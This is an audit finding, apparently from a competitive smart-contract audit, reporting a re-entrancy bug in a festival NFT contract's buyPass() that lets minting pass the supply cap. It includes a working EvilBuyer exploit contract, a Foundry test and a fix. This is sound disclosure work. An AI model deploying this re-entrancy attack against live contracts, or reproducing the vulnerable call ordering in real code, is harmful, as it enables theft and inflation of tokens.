Beatland Festival

First Flight #44
Beginner FriendlyFoundrySolidityNFT
100 EXP
View results
Submission Details
Severity: medium
Valid

Re-entrancy in buyPass() lets attacker mint passes beyond the supply cap

Root + Impact

Description

buyPass(uint256 collectionId) aims to mint one pass per call and stops when passSupply[collectionId] reaches passMaxSupply[collectionId].
The sequence, however, is interactions → effects rather than the recommended checks-effects-interactions pattern:

require(passSupply[id] < passMaxSupply[id], "Max supply reached");
_mint(msg.sender, id, 1, ""); // ERC-1155 safe transfer → external call
++passSupply[id]; // state update happens *afterwards*

When msg.sender is a smart contract, _mint() triggers onERC1155Received before passSupply++ executes.
A malicious receiver can re-enter buyPass(id) inside that hook, the supply check still sees the old value and passes. The attacker can loop N times, exhausting or exceeding the entire supply in a single transaction.

@> _mint(msg.sender, collectionId, 1, ""); // external call before ++passSupply
@> ++passSupply[collectionId]; // state update too late

Consequences

  • Quantity breach: attacker mints arbitrary numbers of General/VIP/Backstage passes.

  • Economic dilution: scarcity model and pricing lose credibility.

  • Downstream issues: bonus BEAT minting (BeatToken.mint) also executes per re-entrant call.

Risk

Likelihood:

  • Requires only a custom contract wallet implementing onERC1155Received.

Impact:

  • Unlimited extra passes.

  • Organiser’s revenue & reputation harmed.

Proof of Concept

How the attack works:

  1. EvilBuyer calls buyPass() once (function attack()).

  2. FestivalPass transfers ONE pass to EvilBuyer.

  3. During that transfer the ERC-1155 hook onERC1155Received is invoked.

  4. The hook immediately re-enters buyPass() before passSupply++ has executed in the original frame.

  5. The supply-cap require(passSupply < maxSupply) still sees the OLD value, so the second (and third, …) call succeeds.

  6. When all re-entrant calls finish, the stack unwinds and each frame finally increments passSupply++, resulting in N passes minted while the organiser expected only 1.

interface IFestivalPass {
function buyPass(uint256 id) external payable;
function passPrice(uint256 id) external view returns (uint256);
}
contract EvilBuyer {
IFestivalPass public fp;
uint256 public id; // pass type to purchase
uint256 public target; // total passes attacker wants
uint256 public minted; // counter inside attack loop
constructor(address _fp, uint256 _id, uint256 _target) payable {
fp = IFestivalPass(_fp);
id = _id;
target = _target; // e.g. 10 means "get 11 passes" (1 + 10 re-entries)
}
/* Step-1: start the exploit - send *one* passPrice along with this call. */
function attack() external payable {
require(msg.value == fp.passPrice(id), "Send exactly one passPrice");
fp.buyPass{value: msg.value}(id);
}
/* Step-2 + 3: every time we receive a pass we re-enter until target hit. */
function onERC1155Received(
address /*operator*/,
address /*from*/,
uint256 /*_id*/,
uint256 /*value*/,
bytes calldata /*data*/
) external returns (bytes4) {
if (minted < target) {
++minted;
fp.buyPass{value: fp.passPrice(id)}(id);
}
return this.onERC1155Received.selector;
}
}
contract FestivalPassTest is Test {
...
uint256 constant GENERAL_MAX_SUPPLY = 5;
...
function test_ReentrancyMintsBeyondCap() public {
uint256 passId = 1;
EvilBuyer evil = new EvilBuyer(address(festivalPass), passId, 10); // want 11 passes
// Fund EvilBuyer with enough ETH for repeated purchases
vm.deal(address(evil), festivalPass.passPrice(passId) * 11);
// Kick-off — send only *one* passPrice
vm.prank(address(evil));
evil.attack{value: festivalPass.passPrice(passId)}();
// Assert supply-cap violated
assertGt(festivalPass.passSupply(passId), GENERAL_MAX_SUPPLY); // passes > 5
}
}

Recommended Mitigation

Follow the checks-effects-interactions pattern or add re-entrancy guard.

function buyPass(uint256 id) external payable nonReentrant {
require(id == GENERAL_PASS || id == VIP_PASS || id == BACKSTAGE_PASS, "Invalid pass ID");
require(msg.value == passPrice[id], "Incorrect payment");
require(passSupply[id] < passMaxSupply[id], "Max supply reached");
- _mint(msg.sender, id, 1, ""); // external call first
- ++passSupply[id]; // state update last
+ ++passSupply[id]; // effects before interactions
+ _mint(msg.sender, id, 1, ""); // external call after state change
...
}

Adding nonReentrant from OpenZeppelin’s ReentrancyGuard is another robust option.

Updates

Lead Judging Commences

inallhonesty Lead Judge about 2 months ago
Submission Judgement Published
Validated
Assigned finding tags:

buyPass reentrancy to surpass the passMaxSupply

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.